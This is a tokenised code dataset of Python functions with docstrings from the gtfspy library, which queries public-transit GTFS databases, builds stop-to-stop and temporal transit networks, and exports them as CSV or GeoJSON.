{"signature": "def get_tripIs_within_range_by_dsut(self,<EOL>start_time_ut,<EOL>end_time_ut):", "body": "cur = self.conn.cursor()<EOL>assert start_time_ut <= end_time_ut<EOL>dst_ut, st_ds, et_ds =self._get_possible_day_starts(start_time_ut, end_time_ut, <NUM_LIT:7>)<EOL>assert len(dst_ut) >= <NUM_LIT:0><EOL>trip_I_dict = {}<EOL>for day_start_ut, start_ds, end_ds inzip(dst_ut, st_ds, et_ds):<EOL><INDENT>query = \"\"\"<STR_LIT>\"\"\"<EOL>params = (day_start_ut, end_ds, start_ds)<EOL>trip_Is = [el[<NUM_LIT:0>] for el in cur.execute(query, params)]<EOL>if len(trip_Is) > <NUM_LIT:0>:<EOL><INDENT>trip_I_dict[day_start_ut] = trip_Is<EOL><DEDENT><DEDENT>return trip_I_dict<EOL>", "docstring": "Obtain a list of trip_Is that take place during a time interval.\nThe trip needs to be only partially overlapping with the given time interval.\nThe grouping by dsut (day_start_ut) is required as same trip_I could\ntake place on multiple days.\n\nParameters\n----------\nstart_time_ut : int\n    start of the time interval in unix time (seconds)\nend_time_ut: int\n    end of the time interval in unix time (seconds)\n\nReturns\n-------\ntrip_I_dict: dict\n    keys: day_start_times to list of integers (trip_Is)", "id": "f12922:c0:m41"}
{"signature": "def stops(self):", "body": "return self.get_table(\"<STR_LIT>\")<EOL>", "docstring": "Get all stop data as a pandas DataFrame\n\nReturns\n-------\ndf: pandas.DataFrame", "id": "f12922:c0:m42"}
{"signature": "def stop(self, stop_I):", "body": "return pd.read_sql_query(\"<STR_LIT>\".format(stop_I=stop_I), self.conn)<EOL>", "docstring": "Get all stop data as a pandas DataFrame for all stops, or an individual stop'\n\nParameters\n----------\nstop_I : int\n    stop index\n\nReturns\n-------\nstop: pandas.DataFrame", "id": "f12922:c0:m43"}
{"signature": "def get_stops_for_route_type(self, route_type):", "body": "if route_type is WALK:<EOL><INDENT>return self.stops()<EOL><DEDENT>else:<EOL><INDENT>return pd.read_sql_query(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\", self.conn, params=(route_type,))<EOL><DEDENT>", "docstring": "Parameters\n----------\nroute_type: int\n\nReturns\n-------\nstops: pandas.DataFrame", "id": "f12922:c0:m47"}
{"signature": "def generate_routable_transit_events(self, start_time_ut=None, end_time_ut=None, route_type=None):", "body": "from gtfspy.networks import temporal_network<EOL>df = temporal_network(self, start_time_ut=start_time_ut, end_time_ut=end_time_ut, route_type=route_type)<EOL>df.sort_values(\"<STR_LIT>\", ascending=False, inplace=True)<EOL>for row in df.itertuples():<EOL><INDENT>yield row<EOL><DEDENT>", "docstring": "Generates events that take place during a time interval [start_time_ut, end_time_ut].\nEach event needs to be only partially overlap the given time interval.\nDoes not include walking events.\nThis is just a quick and dirty implementation to get a way of quickly get a\nmethod for generating events compatible with the routing algorithm\n\nParameters\n----------\nstart_time_ut: int\nend_time_ut: int\nroute_type: ?\n\nYields\n------\nevent: namedtuple\n    containing:\n        dep_time_ut: int\n        arr_time_ut: int\n        from_stop_I: int\n        to_stop_I: int\n        trip_I : int\n        route_type : int\n        seq: int", "id": "f12922:c0:m49"}
{"signature": "def get_transit_events(self, start_time_ut=None, end_time_ut=None, route_type=None):", "body": "table_name = self._get_day_trips_table_name()<EOL>event_query = \"<STR_LIT>\"\"<STR_LIT>\"\"<STR_LIT>\" + table_name + \"<STR_LIT:U+0020>\"\"<STR_LIT>\"\"<STR_LIT>\"\"<STR_LIT>\"<EOL>where_clauses = []<EOL>if end_time_ut:<EOL><INDENT>where_clauses.append(table_name + \"<STR_LIT>\".format(end_time_ut=end_time_ut))<EOL>where_clauses.append(\"<STR_LIT>\".format(end_time_ut=end_time_ut))<EOL><DEDENT>if start_time_ut:<EOL><INDENT>where_clauses.append(table_name + \"<STR_LIT>\".format(start_time_ut=start_time_ut))<EOL>where_clauses.append(\"<STR_LIT>\".format(start_time_ut=start_time_ut))<EOL><DEDENT>if route_type is not None:<EOL><INDENT>assert route_type in ALL_ROUTE_TYPES<EOL>where_clauses.append(\"<STR_LIT>\".format(route_type=route_type))<EOL><DEDENT>if len(where_clauses) > <NUM_LIT:0>:<EOL><INDENT>event_query += \"<STR_LIT>\"<EOL>for i, where_clause in enumerate(where_clauses):<EOL><INDENT>if i is not <NUM_LIT:0>:<EOL><INDENT>event_query += \"<STR_LIT>\"<EOL><DEDENT>event_query += where_clause<EOL><DEDENT><DEDENT>event_query += \"<STR_LIT>\"<EOL>events_result = pd.read_sql_query(event_query, self.conn)<EOL>from_indices = numpy.nonzero(<EOL>(events_result['<STR_LIT>'][:-<NUM_LIT:1>].values == events_result['<STR_LIT>'][<NUM_LIT:1>:].values) *<EOL>(events_result['<STR_LIT>'][:-<NUM_LIT:1>].values < events_result['<STR_LIT>'][<NUM_LIT:1>:].values)<EOL>)[<NUM_LIT:0>]<EOL>to_indices = from_indices + <NUM_LIT:1><EOL>assert (events_result['<STR_LIT>'][from_indices].values == events_result['<STR_LIT>'][to_indices].values).all()<EOL>trip_Is = events_result['<STR_LIT>'][from_indices]<EOL>from_stops = events_result['<STR_LIT>'][from_indices]<EOL>to_stops = events_result['<STR_LIT>'][to_indices]<EOL>shape_ids = events_result['<STR_LIT>'][from_indices]<EOL>dep_times = events_result['<STR_LIT>'][from_indices]<EOL>arr_times = events_result['<STR_LIT>'][to_indices]<EOL>route_types = events_result['<STR_LIT>'][from_indices]<EOL>route_ids = events_result['<STR_LIT>'][from_indices]<EOL>route_Is = events_result['<STR_LIT>'][from_indices]<EOL>durations = arr_times.values - dep_times.values<EOL>assert (durations >= <NUM_LIT:0>).all()<EOL>from_seqs = events_result['<STR_LIT>'][from_indices]<EOL>to_seqs = events_result['<STR_LIT>'][to_indices]<EOL>data_tuples = zip(from_stops, to_stops, dep_times, arr_times,<EOL>shape_ids, route_types, route_ids, trip_Is,<EOL>durations, from_seqs, to_seqs, route_Is)<EOL>columns = [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"]<EOL>df = pd.DataFrame.from_records(data_tuples, columns=columns)<EOL>return df<EOL>", "docstring": "Obtain a list of events that take place during a time interval.\nEach event needs to be only partially overlap the given time interval.\nDoes not include walking events.\n\nParameters\n----------\nstart_time_ut : int\n    start of the time interval in unix time (seconds)\nend_time_ut: int\n    end of the time interval in unix time (seconds)\nroute_type: int\n    consider only events for this route_type\n\nReturns\n-------\nevents: pandas.DataFrame\n    with the following columns and types\n        dep_time_ut: int\n        arr_time_ut: int\n        from_stop_I: int\n        to_stop_I: int\n        trip_I : int\n        shape_id : int\n        route_type : int\n\nSee also\n--------\nget_transit_events_in_time_span : an older version of the same thing", "id": "f12922:c0:m50"}
{"signature": "def get_route_difference_with_other_db(self, other_gtfs, start_time, end_time, uniqueness_threshold=None,<EOL>uniqueness_ratio=None):", "body": "from gtfspy.stats import frequencies_by_generated_route<EOL>this_df = frequencies_by_generated_route(self, start_time, end_time)<EOL>other_df = frequencies_by_generated_route(other_gtfs, start_time, end_time)<EOL>this_routes = {x: set(x.split('<STR_LIT:U+002C>')) for x in this_df[\"<STR_LIT>\"]}<EOL>other_routes = {x: set(x.split('<STR_LIT:U+002C>')) for x in other_df[\"<STR_LIT>\"]}<EOL>this_uniques = list(this_routes.keys())<EOL>other_uniques = list(other_routes.keys())<EOL>print(\"<STR_LIT>\", len(this_uniques))<EOL>print(\"<STR_LIT>\", len(other_uniques))<EOL>for i_key, i in this_routes.items():<EOL><INDENT>for j_key, j in other_routes.items():<EOL><INDENT>union = i | j<EOL>intersection = i & j<EOL>symmetric_difference = i ^ j<EOL>if uniqueness_ratio:<EOL><INDENT>if len(intersection) / len(union) >= uniqueness_ratio:<EOL><INDENT>try:<EOL><INDENT>this_uniques.remove(i_key)<EOL>this_df = this_df[this_df[\"<STR_LIT>\"] != i_key]<EOL><DEDENT>except ValueError:<EOL><INDENT>pass<EOL><DEDENT>try:<EOL><INDENT>other_uniques.remove(j_key)<EOL>other_df = other_df[other_df[\"<STR_LIT>\"] != j_key]<EOL><DEDENT>except ValueError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>print(\"<STR_LIT>\", len(this_df))<EOL>print(\"<STR_LIT>\", len(other_df))<EOL>return this_df, other_df<EOL>", "docstring": "Compares the routes based on stops in the schedule with the routes in another db and returns the ones without match.\nUniqueness thresholds or ratio can be used to allow small differences\n:param uniqueness_threshold:\n:param uniqueness_ratio:\n:return:", "id": "f12922:c0:m51"}
{"signature": "def get_straight_line_transfer_distances(self, stop_I=None):", "body": "if stop_I is not None:<EOL><INDENT>query = u\"\"\"<STR_LIT>\"\"\"<EOL>params = (u\"<STR_LIT>\".format(stop_I=stop_I),)<EOL><DEDENT>else:<EOL><INDENT>query = \"\"\"<STR_LIT>\"\"\"<EOL>params = None<EOL><DEDENT>stop_data_df = pd.read_sql_query(query, self.conn, params=params)<EOL>return stop_data_df<EOL>", "docstring": "Get (straight line) distances to stations that can be transferred to.\n\nParameters\n----------\nstop_I : int, optional\n    If not specified return all possible transfer distances\n\nReturns\n-------\ndistances: pandas.DataFrame\n    each row has the following items\n        from_stop_I: int\n        to_stop_I: int\n        d: float or int #distance in meters", "id": "f12922:c0:m53"}
{"signature": "def get_approximate_schedule_time_span_in_ut(self):", "body": "first_day_start_ut, last_day_start_ut = self.get_day_start_ut_span()<EOL>return first_day_start_ut, last_day_start_ut + <NUM_LIT> * <NUM_LIT><EOL>", "docstring": "Return conservative estimates of start_time_ut and end_time_uts.\nAll trips, events etc. should start after start_time_ut_conservative and end before end_time_ut_conservative\n\nReturns\n-------\nstart_time_ut_conservative : int\nend_time_ut_conservative : int", "id": "f12922:c0:m55"}
{"signature": "def get_day_start_ut_span(self):", "body": "cur = self.conn.cursor()<EOL>first_day_start_ut, last_day_start_ut =cur.execute(\"<STR_LIT>\").fetchone()<EOL>return first_day_start_ut, last_day_start_ut<EOL>", "docstring": "Return the first and last day_start_ut\n\nReturns\n-------\nfirst_day_start_ut: int\nlast_day_start_ut: int", "id": "f12922:c0:m56"}
{"signature": "def print_validation_warnings(self):", "body": "from .timetable_validator import TimetableValidator<EOL>validator = TimetableValidator(self)<EOL>return validator.validate_and_get_warnings()<EOL>", "docstring": "See Validator.validate for more information.\n\nReturns\n-------\nwarnings_container: validator.TimetableValidationWarningsContainer", "id": "f12922:c0:m59"}
{"signature": "def homogenize_stops_table_with_other_db(self, source):", "body": "cur = self.conn.cursor()<EOL>self.attach_gtfs_database(source)<EOL>query_inner_join = \"\"\"<STR_LIT>\"\"\"<EOL>df_inner_join = self.execute_custom_query_pandas(query_inner_join)<EOL>print(\"<STR_LIT>\", len(df_inner_join.index))<EOL>df_not_in_other = self.execute_custom_query_pandas(\"<STR_LIT>\" + query_inner_join)<EOL>print(\"<STR_LIT>\", len(df_not_in_other.index))<EOL>df_not_in_self = self.execute_custom_query_pandas(\"<STR_LIT>\" +<EOL>query_inner_join.replace(\"<STR_LIT>\", \"<STR_LIT>\"))<EOL>print(\"<STR_LIT>\", len(df_not_in_self.index))<EOL>try:<EOL><INDENT>self.execute_custom_query(\"\"\"<STR_LIT>\"\"\")<EOL>self.execute_custom_query(\"\"\"<STR_LIT>\"\"\")<EOL><DEDENT>except sqlite3.OperationalError:<EOL><INDENT>pass<EOL><DEDENT>stop_id_stub = \"<STR_LIT>\"<EOL>counter = <NUM_LIT:0><EOL>rows_to_update_self = []<EOL>rows_to_update_other = []<EOL>rows_to_add_to_self = []<EOL>rows_to_add_to_other = []<EOL>for items in df_inner_join.itertuples(index=False):<EOL><INDENT>rows_to_update_self.append((counter, items[<NUM_LIT:1>]))<EOL>rows_to_update_other.append((counter, items[<NUM_LIT:1>]))<EOL>counter += <NUM_LIT:1><EOL><DEDENT>for items in df_not_in_other.itertuples(index=False):<EOL><INDENT>rows_to_update_self.append((counter, items[<NUM_LIT:1>]))<EOL>rows_to_add_to_other.append((stop_id_stub + str(counter),) + tuple(items[x] for x in [<NUM_LIT:2>, <NUM_LIT:3>, <NUM_LIT:4>, <NUM_LIT:5>, <NUM_LIT:6>, <NUM_LIT:8>, <NUM_LIT:9>])<EOL>+ (counter,))<EOL>counter += <NUM_LIT:1><EOL><DEDENT>for items in df_not_in_self.itertuples(index=False):<EOL><INDENT>rows_to_update_other.append((counter, items[<NUM_LIT:1>]))<EOL>rows_to_add_to_self.append((stop_id_stub + str(counter),) + tuple(items[x] for x in [<NUM_LIT:2>, <NUM_LIT:3>, <NUM_LIT:4>, <NUM_LIT:5>, <NUM_LIT:6>, <NUM_LIT:8>, <NUM_LIT:9>])<EOL>+ (counter,))<EOL>counter += <NUM_LIT:1><EOL><DEDENT>query_add_row = \"\"\"<STR_LIT>\"\"\" % (\"<STR_LIT:U+002CU+0020>\".join([\"<STR_LIT:?>\" for x in range(<NUM_LIT:9>)]))<EOL>query_update_row = \"\"\"<STR_LIT>\"\"\"<EOL>print(\"<STR_LIT>\")<EOL>cur.executemany(query_add_row, rows_to_add_to_self)<EOL>cur.executemany(query_update_row, rows_to_update_self)<EOL>cur.executemany(query_add_row.replace(\"<STR_LIT>\", \"<STR_LIT>\"), rows_to_add_to_other)<EOL>cur.executemany(query_update_row.replace(\"<STR_LIT>\", \"<STR_LIT>\"), rows_to_update_other)<EOL>self.conn.commit()<EOL>print(\"<STR_LIT>\")<EOL>", "docstring": "This function takes an external database, looks of common stops and adds the missing stops to both databases.\nIn addition the stop_pair_I column is added. This id links the stops between these two sources.\n:param source: directory of external database\n:return:", "id": "f12922:c0:m64"}
{"signature": "def update_stop_coordinates(self, stop_updates):", "body": "cur = self.conn.cursor()<EOL>stop_values = [(values.lat, values.lon, values.stop_id) for values in stop_updates.itertuples()]<EOL>cur.executemany(\"\"\"<STR_LIT>\"\"\", stop_values)<EOL>self.conn.commit()<EOL>", "docstring": ":param stop_updates: DataFrame\n:return:", "id": "f12922:c0:m71"}
{"signature": "def __setitem__(self, key, value):", "body": "if isinstance(value, bytes):<EOL><INDENT>value = value.decode('<STR_LIT:utf-8>')<EOL><DEDENT>self._conn.execute('<STR_LIT>'<EOL>'<STR_LIT>',<EOL>(key, value)).fetchone()<EOL>self._conn.commit()<EOL>", "docstring": "Get metadata from the DB", "id": "f12922:c1:m2"}
{"signature": "def walk_transfer_stop_to_stop_network(gtfs, max_link_distance=None):", "body": "if max_link_distance is None:<EOL><INDENT>max_link_distance = <NUM_LIT:1000><EOL><DEDENT>net = networkx.Graph()<EOL>_add_stops_to_net(net, gtfs.get_table(\"<STR_LIT>\"))<EOL>stop_distances = gtfs.get_table(\"<STR_LIT>\")<EOL>if stop_distances[\"<STR_LIT>\"][<NUM_LIT:0>] is None:<EOL><INDENT>osm_distances_available = False<EOL>warn(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>osm_distances_available = True<EOL><DEDENT>for stop_distance_tuple in stop_distances.itertuples():<EOL><INDENT>from_node = stop_distance_tuple.from_stop_I<EOL>to_node = stop_distance_tuple.to_stop_I<EOL>if osm_distances_available:<EOL><INDENT>if stop_distance_tuple.d_walk > max_link_distance or isnan(stop_distance_tuple.d_walk):<EOL><INDENT>continue<EOL><DEDENT>data = {'<STR_LIT:d>': stop_distance_tuple.d, '<STR_LIT>': stop_distance_tuple.d_walk}<EOL><DEDENT>else:<EOL><INDENT>if stop_distance_tuple.d > max_link_distance:<EOL><INDENT>continue<EOL><DEDENT>data = {'<STR_LIT:d>': stop_distance_tuple.d}<EOL><DEDENT>net.add_edge(from_node, to_node, data)<EOL><DEDENT>return net<EOL>", "docstring": "Construct the walk network.\nIf OpenStreetMap-based walking distances have been computed, then those are used as the distance.\nOtherwise, the great circle distances (\"d\") is used.\n\nParameters\n----------\ngtfs: gtfspy.GTFS\nmax_link_distance: int, optional\n    If given, all walking transfers with great circle distance longer\n    than this limit (expressed in meters) will be omitted.\n\nReturns\n-------\nnet: networkx.DiGraph\n    edges have attributes\n        d:\n            straight-line distance between stops\n        d_walk:\n            distance along the road/tracks/..", "id": "f12923:m0"}
{"signature": "def stop_to_stop_network_for_route_type(gtfs,<EOL>route_type,<EOL>link_attributes=None,<EOL>start_time_ut=None,<EOL>end_time_ut=None):", "body": "if link_attributes is None:<EOL><INDENT>link_attributes = DEFAULT_STOP_TO_STOP_LINK_ATTRIBUTES<EOL><DEDENT>assert(route_type in route_types.TRANSIT_ROUTE_TYPES)<EOL>stops_dataframe = gtfs.get_stops_for_route_type(route_type)<EOL>net = networkx.DiGraph()<EOL>_add_stops_to_net(net, stops_dataframe)<EOL>events_df = gtfs.get_transit_events(start_time_ut=start_time_ut,<EOL>end_time_ut=end_time_ut,<EOL>route_type=route_type)<EOL>if len(net.nodes()) < <NUM_LIT:2>:<EOL><INDENT>assert events_df.shape[<NUM_LIT:0>] == <NUM_LIT:0><EOL><DEDENT>link_event_groups = events_df.groupby(['<STR_LIT>', '<STR_LIT>'], sort=False)<EOL>for key, link_events in link_event_groups:<EOL><INDENT>from_stop_I, to_stop_I = key<EOL>assert isinstance(link_events, pd.DataFrame)<EOL>if link_attributes is None:<EOL><INDENT>net.add_edge(from_stop_I, to_stop_I)<EOL><DEDENT>else:<EOL><INDENT>link_data = {}<EOL>if \"<STR_LIT>\" in link_attributes:<EOL><INDENT>link_data['<STR_LIT>'] = float(link_events['<STR_LIT>'].min())<EOL><DEDENT>if \"<STR_LIT>\" in link_attributes:<EOL><INDENT>link_data['<STR_LIT>'] = float(link_events['<STR_LIT>'].max())<EOL><DEDENT>if \"<STR_LIT>\" in link_attributes:<EOL><INDENT>link_data['<STR_LIT>'] = float(link_events['<STR_LIT>'].median())<EOL><DEDENT>if \"<STR_LIT>\" in link_attributes:<EOL><INDENT>link_data['<STR_LIT>'] = float(link_events['<STR_LIT>'].mean())<EOL><DEDENT>if \"<STR_LIT>\" in link_attributes:<EOL><INDENT>link_data['<STR_LIT>'] = int(link_events.shape[<NUM_LIT:0>])<EOL><DEDENT>if \"<STR_LIT>\" in link_attributes:<EOL><INDENT>link_data['<STR_LIT>'] = route_types.ROUTE_TYPE_TO_APPROXIMATE_CAPACITY[route_type]* int(link_events.shape[<NUM_LIT:0>])<EOL><DEDENT>if \"<STR_LIT:d>\" in link_attributes:<EOL><INDENT>from_lat = net.node[from_stop_I]['<STR_LIT>']<EOL>from_lon = net.node[from_stop_I]['<STR_LIT>']<EOL>to_lat = net.node[to_stop_I]['<STR_LIT>']<EOL>to_lon = net.node[to_stop_I]['<STR_LIT>']<EOL>distance = wgs84_distance(from_lat, from_lon, to_lat, to_lon)<EOL>link_data['<STR_LIT:d>'] = int(distance)<EOL><DEDENT>if \"<STR_LIT>\" in link_attributes:<EOL><INDENT>assert \"<STR_LIT>\" in link_events.columns.values<EOL>found = None<EOL>for i, shape_id in enumerate(link_events[\"<STR_LIT>\"].values):<EOL><INDENT>if shape_id is not None:<EOL><INDENT>found = i<EOL>break<EOL><DEDENT><DEDENT>if found is None:<EOL><INDENT>link_data[\"<STR_LIT>\"] = None<EOL><DEDENT>else:<EOL><INDENT>link_event = link_events.iloc[found]<EOL>distance = gtfs.get_shape_distance_between_stops(<EOL>link_event[\"<STR_LIT>\"],<EOL>int(link_event[\"<STR_LIT>\"]),<EOL>int(link_event[\"<STR_LIT>\"])<EOL>)<EOL>link_data['<STR_LIT>'] = distance<EOL><DEDENT><DEDENT>if \"<STR_LIT>\" in link_attributes:<EOL><INDENT>link_data[\"<STR_LIT>\"] = link_events.groupby(\"<STR_LIT>\").size().to_dict()<EOL><DEDENT>net.add_edge(from_stop_I, to_stop_I, attr_dict=link_data)<EOL><DEDENT><DEDENT>return net<EOL>", "docstring": "Get a stop-to-stop network describing a single mode of travel.\n\nParameters\n----------\ngtfs : gtfspy.GTFS\nroute_type : int\n    See gtfspy.route_types.TRANSIT_ROUTE_TYPES for the list of possible types.\nlink_attributes: list[str], optional\n    defaulting to use the following link attributes:\n        \"n_vehicles\" : Number of vehicles passed\n        \"duration_min\" : minimum travel time between stops\n        \"duration_max\" : maximum travel time between stops\n        \"duration_median\" : median travel time between stops\n        \"duration_avg\" : average travel time between stops\n        \"d\" : distance along straight line (wgs84_distance)\n        \"distance_shape\" : minimum distance along shape\n        \"capacity_estimate\" : approximate capacity passed through the stop\n        \"route_I_counts\" : dict from route_I to counts\nstart_time_ut: int\n    start time of the time span (in unix time)\nend_time_ut: int\n    end time of the time span (in unix time)\n\nReturns\n-------\nnet: networkx.DiGraph\n    A directed graph Directed graph", "id": "f12923:m1"}
{"signature": "def stop_to_stop_networks_by_type(gtfs):", "body": "route_type_to_network = dict()<EOL>for route_type in route_types.ALL_ROUTE_TYPES:<EOL><INDENT>if route_type == route_types.WALK:<EOL><INDENT>net = walk_transfer_stop_to_stop_network(gtfs)<EOL><DEDENT>else:<EOL><INDENT>net = stop_to_stop_network_for_route_type(gtfs, route_type)<EOL><DEDENT>route_type_to_network[route_type] = net<EOL><DEDENT>assert len(route_type_to_network) == len(route_types.ALL_ROUTE_TYPES)<EOL>return route_type_to_network<EOL>", "docstring": "Compute stop-to-stop networks for all travel modes (route_types).\n\nParameters\n----------\ngtfs: gtfspy.GTFS\n\nReturns\n-------\ndict: dict[int, networkx.DiGraph]\n    keys should be one of route_types.ALL_ROUTE_TYPES (i.e. GTFS route_types)", "id": "f12923:m2"}
{"signature": "def combined_stop_to_stop_transit_network(gtfs, start_time_ut=None, end_time_ut=None):", "body": "multi_di_graph = networkx.MultiDiGraph()<EOL>for route_type in route_types.TRANSIT_ROUTE_TYPES:<EOL><INDENT>graph = stop_to_stop_network_for_route_type(gtfs, route_type,<EOL>start_time_ut=start_time_ut, end_time_ut=end_time_ut)<EOL>for from_node, to_node, data in graph.edges(data=True):<EOL><INDENT>data['<STR_LIT>'] = route_type<EOL><DEDENT>multi_di_graph.add_edges_from(graph.edges(data=True))<EOL>multi_di_graph.add_nodes_from(graph.nodes(data=True))<EOL><DEDENT>return multi_di_graph<EOL>", "docstring": "Compute stop-to-stop networks for all travel modes and combine them into a single network.\nThe modes of transport are encoded to a single network.\nThe network consists of multiple links corresponding to each travel mode.\nWalk mode is not included.\n\nParameters\n----------\ngtfs: gtfspy.GTFS\n\nReturns\n-------\nnet: networkx.MultiDiGraph\n    keys should be one of route_types.TRANSIT_ROUTE_TYPES (i.e. GTFS route_types)", "id": "f12923:m3"}
{"signature": "def _add_stops_to_net(net, stops):", "body": "for stop in stops.itertuples():<EOL><INDENT>data = {<EOL>\"<STR_LIT>\": stop.lat,<EOL>\"<STR_LIT>\": stop.lon,<EOL>\"<STR_LIT:name>\": stop.name<EOL>}<EOL>net.add_node(stop.stop_I, data)<EOL><DEDENT>", "docstring": "Add nodes to the network from the pandas dataframe describing (a part of the) stops table in the GTFS database.\n\nParameters\n----------\nnet: networkx.Graph\nstops: pandas.DataFrame", "id": "f12923:m4"}
{"signature": "def temporal_network(gtfs,<EOL>start_time_ut=None,<EOL>end_time_ut=None,<EOL>route_type=None):", "body": "events_df = gtfs.get_transit_events(start_time_ut=start_time_ut,<EOL>end_time_ut=end_time_ut,<EOL>route_type=route_type)<EOL>events_df.drop('<STR_LIT>', <NUM_LIT:1>, inplace=True)<EOL>events_df.drop('<STR_LIT>', <NUM_LIT:1>, inplace=True)<EOL>events_df.drop('<STR_LIT>', <NUM_LIT:1>, inplace=True)<EOL>events_df.drop('<STR_LIT>', <NUM_LIT:1>, inplace=True)<EOL>events_df.rename(<EOL>columns={<EOL>'<STR_LIT>': \"<STR_LIT>\"<EOL>},<EOL>inplace=True<EOL>)<EOL>return events_df<EOL>", "docstring": "Compute the temporal network of the data, and return it as a pandas.DataFrame\n\nParameters\n----------\ngtfs : gtfspy.GTFS\nstart_time_ut: int | None\n    start time of the time span (in unix time)\nend_time_ut: int | None\n    end time of the time span (in unix time)\nroute_type: int | None\n    Specifies which mode of public transport are included, or whether all modes should be included.\n    The int should be one of the standard GTFS route_types:\n    (see also gtfspy.route_types.TRANSIT_ROUTE_TYPES )\n    If route_type is not specified, all modes are included.\n\nReturns\n-------\nevents_df: pandas.DataFrame\n    Columns: departure_stop, arrival_stop, departure_time_ut, arrival_time_ut, route_type, route_I, trip_I", "id": "f12923:m5"}
{"signature": "def route_to_route_network(gtfs, walking_threshold, start_time, end_time):", "body": "graph = networkx.Graph()<EOL>routes = gtfs.get_table(\"<STR_LIT>\")<EOL>for i in routes.itertuples():<EOL><INDENT>graph.add_node(i.route_id, attr_dict={\"<STR_LIT:type>\": i.type, \"<STR_LIT>\": route_types.ROUTE_TYPE_TO_COLOR[i.type]})<EOL><DEDENT>query = \"\"\"<STR_LIT>\"\"\" % (walking_threshold, start_time, end_time, start_time,<EOL>end_time)<EOL>df = gtfs.execute_custom_query_pandas(query)<EOL>for items in df.itertuples():<EOL><INDENT>graph.add_edge(items.route_id1, items.route_id2)<EOL><DEDENT>graph.remove_nodes_from(networkx.isolates(graph))<EOL>return graph<EOL>", "docstring": "Creates networkx graph where the nodes are bus routes and a edge indicates that there is a possibility to transfer\nbetween the routes\n:param gtfs:\n:param walking_threshold:\n:param start_time:\n:param end_time:\n:return:", "id": "f12923:m6"}
{"signature": "def get_warning_counter(self):", "body": "return self._warnings_counter<EOL>", "docstring": "Returns\n-------\ncounter: collections.Counter", "id": "f12924:c0:m4"}
{"signature": "def get_warnings_by_query_rows(self):", "body": "return self._warnings_records<EOL>", "docstring": "Returns\n-------\nwarnings_record: defaultdict(list)\n    maps each row to a list of warnings", "id": "f12924:c0:m5"}
{"signature": "def write_walk_transfer_edges(gtfs, output_file_name):", "body": "transfers = gtfs.get_table(\"<STR_LIT>\")<EOL>transfers.drop([u\"<STR_LIT>\", u\"<STR_LIT>\"], <NUM_LIT:1>, inplace=True)<EOL>with util.create_file(output_file_name, tmpdir=True, keepext=True) as tmpfile:<EOL><INDENT>transfers.to_csv(tmpfile, encoding='<STR_LIT:utf-8>', index=False)<EOL><DEDENT>", "docstring": "Parameters\n----------\ngtfs: gtfspy.GTFS\noutput_file_name: str", "id": "f12925:m0"}
{"signature": "def write_nodes(gtfs, output, fields=None):", "body": "nodes = gtfs.get_table(\"<STR_LIT>\")<EOL>if fields is not None:<EOL><INDENT>nodes = nodes[fields]<EOL><DEDENT>with util.create_file(output, tmpdir=True, keepext=True) as tmpfile:<EOL><INDENT>nodes.to_csv(tmpfile, encoding='<STR_LIT:utf-8>', index=False, sep=\"<STR_LIT:;>\")<EOL><DEDENT>", "docstring": "Parameters\n----------\ngtfs: gtfspy.GTFS\noutput: str\n    Path to the output file\nfields: list, optional\n    which pieces of information to provide", "id": "f12925:m1"}
{"signature": "def write_stops_geojson(gtfs, out_file, fields=None):", "body": "geojson = create_stops_geojson_dict(gtfs, fields)<EOL>if hasattr(out_file, \"<STR_LIT>\"):<EOL><INDENT>out_file.write(json.dumps(geojson))<EOL><DEDENT>else:<EOL><INDENT>with util.create_file(out_file, tmpdir=True, keepext=True) as tmpfile_path:<EOL><INDENT>tmpfile = open(tmpfile_path, '<STR_LIT:w>')<EOL>tmpfile.write(json.dumps(geojson))<EOL><DEDENT><DEDENT>", "docstring": "Parameters\n----------\ngtfs: gtfspy.GTFS\nout_file: file-like or path to file\nfields: dict\n    simultaneously map each original_name to the new_name\nReturns\n-------", "id": "f12925:m3"}
{"signature": "def write_combined_transit_stop_to_stop_network(gtfs, output_path, fmt=None):", "body": "if fmt is None:<EOL><INDENT>fmt = \"<STR_LIT>\"<EOL><DEDENT>multi_di_graph = combined_stop_to_stop_transit_network(gtfs)<EOL>_write_stop_to_stop_network_edges(multi_di_graph, output_path, fmt=fmt)<EOL>", "docstring": "Parameters\n----------\ngtfs : gtfspy.GTFS\noutput_path : str\nfmt: None, optional\n    defaulting to \"edg\" and writing results as \".edg\" files\n     If \"csv\" csv files are produced instead", "id": "f12925:m4"}
{"signature": "def write_static_networks(gtfs, output_dir, fmt=None):", "body": "if fmt is None:<EOL><INDENT>fmt = \"<STR_LIT>\"<EOL><DEDENT>single_layer_networks = stop_to_stop_networks_by_type(gtfs)<EOL>util.makedirs(output_dir)<EOL>for route_type, net in single_layer_networks.items():<EOL><INDENT>tag = route_types.ROUTE_TYPE_TO_LOWERCASE_TAG[route_type]<EOL>file_name = os.path.join(output_dir, \"<STR_LIT>\" + tag + \"<STR_LIT:.>\" + fmt)<EOL>if len(net.edges()) > <NUM_LIT:0>:<EOL><INDENT>_write_stop_to_stop_network_edges(net, file_name, fmt=fmt)<EOL><DEDENT><DEDENT>", "docstring": "Parameters\n----------\ngtfs: gtfspy.GTFS\noutput_dir: (str, unicode)\n    a path where to write\nfmt: None, optional\n    defaulting to \"edg\" and writing results as \".edg\" files\n     If \"csv\" csv files are produced instead", "id": "f12925:m5"}
{"signature": "def write_temporal_networks_by_route_type(gtfs, extract_output_dir):", "body": "util.makedirs(extract_output_dir)<EOL>for route_type in route_types.TRANSIT_ROUTE_TYPES:<EOL><INDENT>pandas_data_frame = temporal_network(gtfs, start_time_ut=None, end_time_ut=None, route_type=route_type)<EOL>tag = route_types.ROUTE_TYPE_TO_LOWERCASE_TAG[route_type]<EOL>out_file_name = os.path.join(extract_output_dir, tag + \"<STR_LIT>\")<EOL>pandas_data_frame.to_csv(out_file_name, encoding='<STR_LIT:utf-8>', index=False)<EOL><DEDENT>", "docstring": "Write temporal networks by route type to disk.\n\nParameters\n----------\ngtfs: gtfspy.GTFS\nextract_output_dir: str", "id": "f12925:m6"}
